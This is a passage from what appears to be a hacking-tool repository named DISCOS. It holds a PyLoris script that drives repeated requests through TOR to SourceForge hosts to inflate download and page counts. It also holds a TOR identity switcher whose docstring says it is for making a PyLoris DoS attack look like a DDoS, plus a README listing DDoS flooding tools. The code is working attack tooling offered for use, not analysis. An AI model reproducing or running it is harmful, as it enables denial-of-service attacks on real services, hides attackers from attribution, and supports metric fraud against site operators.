ranking. Bonus 7 | points for using TOR Switcher in conjunction with this script. 8 | 9 | This script requires TOR to be setup and running on localhost:9050. 10 | """ 11 | 12 | projectname = 'pyloris' 13 | downloadrefer = 'http://sourceforge.net/projects/pyloris/files/pyloris/pyloris-3.0.zip/download' 14 | downloadmirror = 'superb-east' 15 | downloadhost1 = 'downloads.sourceforge.net' 16 | downloadhost2 = 'voxel.dl.sourceforge.net' 17 | downloadfile = '/sourceforge/%s/pyloris-3.0.zip' % (projectname) 18 | downloadevery = 600 19 | headevery = 60 20 | pagehitevery = 120 21 | logohitevery = 180 22 | useragent = 'Opera/9.80 (Windows NT 6.1; U; en) Presto/2.2.15 Version/10.00' 23 | sockshost = 'localhost' 24 | socksport = 9050 25 | 26 | from libloris import * 27 | 28 | def main(projectname, downloadrefer, downloadmirror, downloadhost1, downloadhost2, downloadfile, 29 | downloadevery, headevery, pagehitevery, logohitevery, useragent, sockshost, socksport): 30 | options = DefaultOptions() 31 | options['referer'] = '%s.sourceforge.net/projects/%s/files/%s/download' % (projectname, projectname, downloadfile) 32 | options['host'] = downloadhost1 33 | options['port'] = 80 34 | options['connectionspeed'] = 0 35 | options['timebetweenconnections'] = downloadevery 36 | options['threadlimit'] = 1 37 | options['connectionlimit'] = 1 38 | options['socksversion'] = 'SOCKS5' 39 | options['sockshost'] = sockshost 40 | options['socksport'] = socksport 41 | options['request'] = 'GET %s?use_mirror=%s HTTP/1.1\r\n' %(downloadfile, downloadmirror) 42 | options['request'] += 'Host: %s\r\n' % (downloadhost1) 43 | options['request'] += 'Referer: %s\r\n' % (downloadrefer) 44 | options['request'] += 'User-Agent: %s\r\n\r\n' %(useragent) 45 | 46 | loris1 = ScriptLoris() 47 | loris1.LoadOptions(options) 48 | loris1.start() 49 | 50 | options['host'] = downloadhost2 51 | options['request'] = 'GET %s HTTP/1.1\r\n' % (downloadfile) 52 | options['request'] += 'Host: %s\r\n' % (downloadhost2) 53 | options['request'] += 'Referer: %s\r\n' % (downloadrefer) 54 | options['request'] += 'User-Agent: %s\r\n\r\n' % (useragent) 55 | 56 | loris2 = ScriptLoris() 57 | loris2.LoadOptions(options) 58 | loris2.start() 59 | 60 | options['host'] = '%s.sourceforge.net' % (projectname) 61 | options['request'] = 'HEAD / HTTP/1.1\r\n' 62 | options['request'] += 'Host: %s.sourceforge.net\r\n' % (projectname) 63 | options['request'] += 'User-Agent: %s\r\n\r\n' % (useragent) 64 | options['timebetweenconnections'] = headevery 65 | 66 | loris3 = ScriptLoris() 67 | loris3.LoadOptions(options) 68 | loris3.start() 69 | 70 | options['request'] = 'GET / HTTP/1.1\r\n' 71 | options['request'] += 'Host: %s.sourceforge.net\r\n' % (projectname) 72 | options['request'] += 'User-Agent: %s\r\n\r\n' % (useragent) 73 | options['timebetweenconnections'] = pagehitevery 74 | 75 | loris4 = ScriptLoris() 76 | loris4.LoadOptions(options) 77 | loris4.start() 78 | 79 | options['host'] = 'sflogo.sourceforge.net' 80 | options['request'] = 'GET /sflogo.php?group_id=266347&type=12 HTTP/1.1\r\n' 81 | options['request'] += 'Host: %sflogo.sourceforge.net\r\n' 82 | options['request'] += 'User-Agent: %s\r\n\r\n' % (useragent) 83 | options['timebetweenconnections'] = logohitevery 84 | 85 | loris5 = ScriptLoris() 86 | loris5.LoadOptions(options) 87 | loris5.start() 88 | 89 | try: 90 | while True: 91 | print('File Downloads: %i' % loris1.status()[0]) 92 | print('Download Refers: %i' % loris2.status()[0]) 93 | print('HEAD Requests: %i' % loris3.status()[0]) 94 | print('Page Requests: %i' % loris4.status()[0]) 95 | print('Logo Requests: %i' % loris5.status()[0]) 96 | time.sleep(60) 97 | except: 98 | print('Quitting...') 99 | 100 | if __name__ == "__main__": 101 | main(projectname, downloadrefer, downloadmirror, downloadhost1, downloadhost2, downloadfile, 102 | downloadevery, headevery, pagehitevery, logohitevery, useragent, sockshost, socksport) 103 | 104 | -------------------------------------------------------------------------------- /Linux/pyloris/tor_switcher.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | 3 | """ 4 | tor_switcher.py 5 | A light interface for issuing NEWNYM signals over TOR's control port. Usefull 6 | for making a PyLoris DoS attack look like a DDoS attack. 7 | """ 8 | 9 | import random, telnetlib, thread, time 10 | from Tkinter import * 11 | 12 | class Switcher(Tk): 13 | def __init__(self): 14 | Tk.__init__(self) 15 | self.title(string = ".o0O| TOR Switcher |O0o.") 16 | 17 | self.host = StringVar() 18 | self.port = IntVar() 19 | self.passwd = StringVar() 20 | self.time = DoubleVar() 21 | 22 | self.host.set('localhost') 23 | self.port.set('9051') 24 | self.passwd.set('') 25 | self.time.set('30') 26 | 27 | Label(self, text = 'Host:').grid(row = 1, column = 1) 28 | Label(self, text = 'Port:').grid(row = 2, column = 1) 29 | Label(self, text = 'Password:').grid(row = 3, column = 1) 30 | Label(self, text = 'Interval:').grid(row = 4, column = 1) 31 | 32 | Entry(self, textvariable = self.host).grid(row = 1, column = 2, columnspan = 2) 33 | Entry(self, textvariable = self.port).grid(row = 2, column = 2, columnspan = 2) 34 | Entry(self, textvariable = self.passwd, show = '*').grid(row = 3, column = 2, columnspan = 2) 35 | Entry(self, textvariable = self.time).grid(row = 4, column = 2, columnspan = 2) 36 | 37 | Button(self, text = 'Start', command = self.start).grid(row = 5, column = 2) 38 | Button(self, text = 'Stop', command = self.stop).grid(row = 5, column = 3) 39 | 40 | self.output = Text(self, foreground="white", background="black", highlightcolor="white", highlightbackground="purple", wrap=WORD, height = 8, width = 40) 41 | self.output.grid(row = 1, column = 4, rowspan = 5) 42 | 43 | def start(self): 44 | self.write('TOR Switcher starting.') 45 | self.ident = random.random() 46 | thread.start_new_thread(self.newnym, ()) 47 | 48 | def stop(self): 49 | try: 50 | self.write('TOR Switcher stopping.') 51 | except: 52 | pass 53 | self.ident = random.random() 54 | 55 | def write(self, message): 56 | t = time.localtime() 57 | try: 58 | self.output.insert(END, '[%02i:%02i:%02i] %s\n' % (t[3], t[4], t[3], message)) 59 | except: 60 | print('[%02i:%02i:%02i] %s\n' % (t[3], t[4], t[3], message)) 61 | 62 | def newnym(self): 63 | key = self.ident 64 | host = self.host.get() 65 | port = self.port.get() 66 | passwd = self.passwd.get() 67 | interval = self.time.get() 68 | 69 | try: 70 | tn = telnetlib.Telnet(host, port) 71 | if passwd == '': 72 | tn.write("AUTHENTICATE\r\n") 73 | else: 74 | tn.write("AUTHENTICATE \"%s\"\r\n" % (passwd)) 75 | res = tn.read_until('250 OK', 5) 76 | 77 | if res.find('250 OK') > -1: 78 | self.write('AUTHENTICATE accepted.') 79 | else: 80 | self.write('Control responded "%s".') 81 | key = self.ident + 1 82 | self.write('Quitting.') 83 | except Exception, ex: 84 | self.write('There was an error: %s.' % (ex)) 85 | key = self.ident + 1 86 | self.write('Quitting.') 87 | 88 | while key == self.ident: 89 | try: 90 | tn.write("signal NEWNYM\r\n") 91 | res = tn.read_until('250 OK', 5) 92 | if res.find('250 OK') > -1: 93 | self.write('New identity established.') 94 | else: 95 | self.write('Control responded "%s".') 96 | key = self.ident + 1 97 | self.write('Quitting.') 98 | time.sleep(interval) 99 | except Exception, ex: 100 | self.write('There was an error: %s.' % (ex)) 101 | key = self.ident + 1 102 | self.write('Quitting.') 103 | 104 | try: 105 | tn.write("QUIT\r\n") 106 | tn.close() 107 | except: 108 | pass 109 | 110 | if __name__ == '__main__': 111 | mw = Switcher() 112 | mw.mainloop() 113 | mw.stop() 114 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DISCOS 2 | Hacking tools for different operating systems. (Linux/Windows/Android) 3 | 4 | ## Hacking Tools List : 5 | ``` 6 | Linux Tools : 7 | - Boom 8 | - ChiHULK 9 | - DDoS-Synflood 10 | - DDoSim 11 | - DDos-Attack 12 | - DDos.pl 13 | - Davoset 14 | - Dequiem 15 | - GoldenEye 16 | - HULK 17 | - LOIC 18 | - Moihack Reloaded 19 | - Pummel 20 | - R-U-Dead-Yet 21 | - RCPnet 22 | - Refref 23 | - Simple Python Scripts 24 | - Slowloris 25 | - TorDDoS 26 | - Torshammer 27 | - pyloris 28 | 29 | Android Tools : 30 | - LOIC 31 | - OFS DoSer 32 | ``` 33 | --------------------------------------------------------------------------------